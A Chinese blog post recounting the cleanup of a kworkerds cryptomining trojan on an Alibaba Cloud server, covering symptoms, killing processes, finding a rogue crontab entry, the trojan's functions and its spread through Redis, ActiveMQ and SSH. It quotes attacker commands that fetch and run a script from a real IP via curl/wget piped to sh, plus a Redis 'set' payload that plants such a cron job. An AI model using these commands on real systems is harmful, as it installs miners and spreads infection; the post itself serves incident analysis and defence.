阿里云被植入挖矿木马事件

很多朋友都在使用阿里云 , 但遇到过阿里云被植入木马的情况么?小编今天就遇到了 。阿里云有自己的安全机制 , 一般情况下不会有什么问题 , 那木马又是被怎么植入的呢?今天为您解析 。
起因今天 , 同事说我负责的模块在阿里云上不工作了 , 我赶忙远程登录查看 。
服务器的症状
1、敲命令的时候 , 终端的字符回传很快 , 但是命令的响应时间较长;
2、服务器内存32GB , 剩余200MB;
3、CPU跑到了99%;
4、我负责的模块之前一直工作正常 , 稳定性好 , 没修改过配置 , 但现在不能工作;
5、查看我负责的模块配置正常、运行正常 , 但部分服务出错;
6、top命令未发现有高耗CPU的进程 , 但是有大量的kworkerds进程 。
定位分析
病症1、3、6说明是阿里云服务器已经产生了异常 。
根据病症4、5一步步梳理流程 , 核对日志 , 定位问题 , 最终发现 , redis可以正常提供服务 , 但程序无法将数据刷新到redis , 导致分别负责读写的两个模块数据长时间不能同步 , 重启redis后服务正常 。但问题需要进一步分析 。
查找木马
服务器是与别人共用的 , 其他的服务 , 我们不知道是否有用 。但服务器卡顿 , 实在影响调试效率 , 搜索了一下kworkerds , 才知道是个挖矿的木马程序 。
查看木马进程数
1[root@xxx ~]# ps -ef | grep -v grep |grep kworkerds | wc -l
2385
kill掉所有木马进程
1[root@xxx ~] # ps auxf | grep -v grep | grep kworkerds | awk '{print $2}'| xargs kill-9
查看开机启动项和任务
1[root@XXX ~]# systemctl list-unit-files
2(没发现问题 , 就不贴进来了)
3[root@XXX ~] #cat /etc/rc.local
4(没发现问题 , 就不贴进来了)
5[root@XXX ~] #cat /etc/crontab
6...
701 * * * * root run-parts /etc/cron.hourly
802 4 * * * root run-parts /etc/cron.daily
90 1 * * * root /usr/ local/bin/DNS
10[root@XXX ~] #crontab -l
11*/23 * * * * (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)|sh
“/etc/crontab”里的内容看起来好像是正常 , 但是“crontab -l”中显示的内容有些来路不明 。
于是下载代码查看
1[root@xxx ~] # (curl -fsSL http://185.10.68.91/1/1||wget -q -O- http://185.10.68.91/1/1)
2(木马的代码我就不贴进来了)
限于篇幅 , 木马的代码就不展示在此了 , 大家可以自行下载查看 , 记住 , 下载的时候要把"|sh"去掉 , 当心玩火自焚 。
分析木马
木马脚本写得还是不错的 , 风格整齐 , 逻辑严谨 。出色地完成了以下功能:
1、删除阿里云云盾客户端和阿里云监控程序;
2、停止、删除主机已经存在的其他挖矿程序;
3、下载挖矿程序和配置文件并执行;
4、约束木马程序 , 防止触发服务器性能监测工具告警;
5、设置任务计划 , 保持更新 , 持续感染主机;
6、通过本机感染其他主机;
7、清空操作日志 , 篡改文件修改时间 , 隐藏自己的访问踪迹 。
木马中同时用了shell和Python两种脚本 , 脚本逐层嵌套 , 对于一些敏感的代码 , 使用了base64进行加密 , 针对不同的系统平台有不同的处理 , 同时锁定了自己修改的文件 , 防止被别的程序随意修改 , 提供远程服务的IP地址来自非洲东部的塞舌尔共和国 。
阿里云被植入挖矿木马事件

文章插图

阿里云被植入挖矿木马事件

文章插图
木马是如何传播的传播方式
木马传播方式有三种 , 如下:
1、activeMQ
2、redis
3、ssh的免密码登录
传播思路
木马感染的步骤如下:
1、通过扫描"xxx.xxx.0.0/16"网段内的所有IP的6379和8186两个端口;
2、如果可以连接 , 那么以key-value的形式写入数据;
1'set SwE3SC "tn*/10 * * * * root (curl -fsSL http://185.10.68.91/raw/68VYMp5T||wget -q -O- http://185.10.68.91/raw/68VYMp5T)|shnt"
'
3、将该条数据以文件的形式保存到定时任务的文件目录 , 如/var/spool/cron/root等;


推荐阅读